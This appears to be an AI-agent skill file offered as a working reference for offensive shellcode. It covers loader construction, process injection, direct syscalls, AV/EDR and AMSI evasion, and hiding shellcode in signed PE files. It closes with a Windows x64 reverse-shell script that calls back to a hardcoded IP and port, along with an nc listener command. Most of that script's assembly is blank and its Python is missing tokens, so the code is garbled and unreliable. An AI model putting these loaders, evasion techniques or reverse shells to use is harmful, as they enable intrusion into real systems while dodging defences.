offensive-shellcode

name

offensive-shellcode

description

Shellcode development reference for offensive security engagements. Use when writing custom x86/x64 shellcode, implementing position-independent code (PIC), building shellcode loaders, evading AV/EDR detection, or converting PE files to shellcode. Covers null byte avoidance, API hashing, encoder/decoder patterns, staged vs stageless payloads, Windows PEB traversal, and cross-platform shellcode techniques.

Shellcode Development Workflow

1. Define concept and target platform (x86/x64, Windows/Linux/macOS)
2. Write assembly using position-independent techniques
3. Extract binary and test in controlled environment
4. Apply null byte avoidance and optimizations
5. Encode/encrypt to evade static detection
6. Package with loader and choose delivery method

---

Basic Concepts

Execution Pattern (Allocate-Write-Execute)

Avoid direct PAGE_EXECUTE_READWRITE — prefer:

1. Allocate with PAGE_READWRITE
2. Write shellcode to allocated region
3. Call VirtualProtect to switch to PAGE_EXECUTE_READ

char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();

Position-Independent Code (PIC) Techniques

Method	Platform	Notes
Call/Pop	Windows	Push next addr, pop into register
FPU state	Windows	fstenv saves instruction pointer
SEH	Windows	Exception handler stores EIP
GOT	Linux	Global Offset Table
VDSO	Linux	Kernel-provided shared object

---

Windows API Resolution (PEB Walk)

Identifying kernel32.dll without imports:

1. Get PEB via gs:[0x60] (x64) or fs:[0x30] (x86)
2. Walk PEB->Ldr.InMemoryOrderModuleList — order: exe → ntdll → kernel32
3. Hash-compare module names to locate kernel32
4. Parse the Export Address Table (EAT)
5. Find GetProcAddress by name hash, then resolve LoadLibraryA
6. Use LoadLibraryA to load WS2_32.dll, resolve Winsock functions

WinDbg helpers for debugging PEB walk:

dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
lm m kernel32   # verify base address
r @r8           # check register

---

Shellcode Loaders

Loader Responsibilities

• Environment verification / keying (sandbox detection)
• Shellcode decryption
• Safe memory allocation and injection
• Ends its duties after injecting

Recommended languages: Zig (small, no runtime), Rust (secure), Nim, Go (watch for runtime signatures)

Allocation Phase

Avoid RWX allocations — use two-step:

• VirtualAllocEx / NtAllocateVirtualMemory — allocate RW
• ZwCreateSection + NtMapViewOfSection — alternative approach
• After writing: VirtualProtectEx to switch to RX

Other options: code caves, stack/heap (with DEP disabled)

Write Phase

• WriteProcessMemory / NtWriteVirtualMemory
• memcpy to mapped section

Evasion tips:

• Prepend shellcode with dummy opcodes
• Split into chunks, write in randomized order
• Add delays between writes

Execute Phase

Most scrutinized step — EDR checks thread start address against image-backed memory:

Technique	Notes
CreateRemoteThread / ZwCreateThreadEx	Loud, heavily monitored
NtSetContextThread	Hijack suspended thread
NtQueueApcThreadEx	APC injection
API trampolines	Overwrite function prologue
ThreadlessInject	No new threads created

Indirect execution resources:

• FlavorTown
• AlternativeShellcodeExec
• ThreadlessInject

---

PE-to-Shellcode Conversion

Tool	Purpose
Donut	EXE/DLL → shellcode
sRDI	DLL → position-independent shellcode
Pe2shc	PE → shellcode
Amber	Reflective PE packer

Open-source loaders:

• ScareCrow
• NimPackt-v1
• NullGate — indirect syscalls + junk-write sequencing
• DripLoader — chunked RW writes + direct syscalls + JMP trampoline
• ProtectMyTooling — chain multiple protections
• Direct-syscall helpers: SysWhispers3, FreshyCalls (now baseline requirements)

---

Shellcode Storage & Hiding

Location	Risk	Notes
Hardcoded in .text	Medium	Requires recompile; stored RW/RO
PE Resources (RCDATA)	High	Most scanned by AV
Extra PE section	Medium	Use second-to-last section
Certificate Table	Low	Keeps signed PE signature intact
Internet-hosted	Variable	SharpShooter

Certificate Table technique (recommended):

• Pad Certificate Table with shellcode bytes; update PE headers
• Backdoor only the loader DLL (e.g., ffmpeg.dll in teams.exe)
• Main executable signature remains valid; only the DLL signature breaks

Protection: Compress with LZMA; encrypt with XOR32, RC4, or AES before storing.

Windows 11 24H2 note: AMSI heap scanning is active. Allocate with PAGE_NOACCESS, decrypt in place, then switch to PAGE_EXECUTE_READ to avoid live-heap scans.

---

Evasion

Progressive Evasion Escalation

1. Basic shellcode execution (baseline)
2. Add XOR/AES encryption + obfuscation
3. Direct syscalls to bypass userland hooks
4. Remote process injection as last resort

Local vs Remote Injection

Remote injection is more detectable:

• CFG / CIG enforcement
• ETW Ti feeds
• EDR call-stack back-tracing (NtOpenProcess invocation source)
• More scrutinized steps: OpenProcess → Allocate → Write → Execute

Defender bypass tools (DefenderBypass):

• myEncoder3.py — XOR-encrypt binary shellcode
• InjectBasic.cpp — basic C++ injector
• InjectCryptXOR.cpp — XOR decrypt + inject
• InjectSyscall-LocalProcess.cpp — direct syscalls, no suspicious IAT entries
• InjectSyscall-RemoteProcess.cpp — remote process injection via direct syscalls

---

Cross-Platform Considerations

Windows on ARM64 (WoA)

• Syscalls use SVC 0 with ARM64 table in ntdll!KiServiceTableArm64
• Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with PACIASP

Linux 6.9+ (eBPF Arena)

• BPF_MAP_TYPE_ARENA maps can hold executable memory
• Hide shellcode chunks in arena map, execute via bpf_prog_run_pin_on_cpu

macOS (Signed System Volume)

• macOS 12+ seals the system partition; unsigned payloads cannot reside there
• Userspace: launch agents, dylib hijacks in /Library/Apple/System/Library/Dyld/
• Kernel persistence: create sealed snapshot, mount RW, inject, resign with kmutil, bless

---

DripLoader Technique

github.com/xuanxuan0/DripLoader:

1. Reserve 64KB chunks with NO_ACCESS
2. Allocate 4KB RW chunks within that pool
3. Write shellcode in chunks in randomized order
4. Re-protect to RX
5. Overwrite prologue of ntdll!RtlpWow64CtxFromAmd64 with JMP trampoline
6. All calls via direct syscalls: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx

---

Full x64 Reverse Shell Shellcode (Windows)

Complete Python/Keystone example implementing PEB walk → GetProcAddress → LoadLibraryA → Winsock connect → CreateProcessA(cmd.exe):

import ctypes, struct
from keystone import *

CODE = (
# Locate kernel32 Base Address
    " start:                         "
    "   add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space
    " find_kernel32:                 "
    "   int3                        ;" # WinDbg breakpoint (disable for release)
    "   xor rcx, rcx                ;"
    "   mov rax, gs:[rcx + 0x60]    ;" # RAX = PEB
    "   mov rax, [rax + 0x18]       ;" # RAX = PEB->Ldr
    "   mov rsi, [rax + 0x20]       ;" # RSI = InMemoryOrderModuleList
    "   lodsq                       ;"
    "   xchg rax, rsi               ;"
    "   lodsq                       ;"
    "   mov rbx, [rax + 0x20]       ;" # RBX = kernel32 base
    "   mov r8, rbx                 ;"
# Parse Export Address Table
    "   mov ebx, [rbx+0x3C]         ;" # PE signature offset
    "   add rbx, r8                 ;" # RBX = PE header
    "   xor r12,r12                 ;"
    "   add r12, 0x88FFFFF          ;"
    "   shr r12, 0x14               ;"
    "   mov edx, [rbx+r12]          ;" # EAT RVA
    "   add rdx, r8                 ;" # RDX = EAT VA
    "   mov r10d, [rdx+0x14]        ;" # NumberOfFunctions
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x20]        ;" # AddressOfNames RVA
     

    
    
    
    
     
     
    
     
    
    

    
    
     
    
    
     
    
     
    
    
     
     

    
    
    
     
    
     
    
     
    
     

    
    
    
    
     
    
    
     
     
    

    
    
    
     
    
    
    
     
    
    
    
    
    
     
     
    
     

    
    
    
     
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
     
     
    

    
    
    
     
    
    
    
    
    
    
     
    
    
    
    
     
     
    
     
    
    
     
    
    
    
    
    
     

    
    
    
    
    
    
    
    
    
    
    
    
     
    
    
    
    
    
     

    
     
     
     
     
     
    
    
    
    
     
    
    
    
    
    
    
    
    
    
    
    
     
     

    
    
     
     
    
     
     
    
    
     
    
    
    
    
     
     
     
     
     
     
)

ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
( % count)

sh = 
 e  encoding:
    sh += struct.pack(, e)
shellcode = (sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (
    ctypes.c_int, ctypes.c_int, ctypes.c_void_p,
    ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),
)

ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(), ctypes.c_int((shellcode)),
    ctypes.c_int(), ctypes.c_int()
)
buf = (ctypes.c_char * (shellcode)).from_buffer_copy(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int((shellcode)))

( % (ptr))
()

ht = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(), ctypes.c_int(), ctypes.c_void_p(ptr),
    ctypes.c_int(), ctypes.c_int(), ctypes.pointer(ctypes.c_int()),
)
ctypes.windll.kernel32.WaitForSingleObject(ht, -)

Note: Update IP (0x31061fac) and port (0xbb01) before use. Listener: nc -nvlp 443

Windows 11 23H2: Smart App Control may block outbound TCP 443/4444 to local subnets. Use a non-standard port or a named-pipe payload.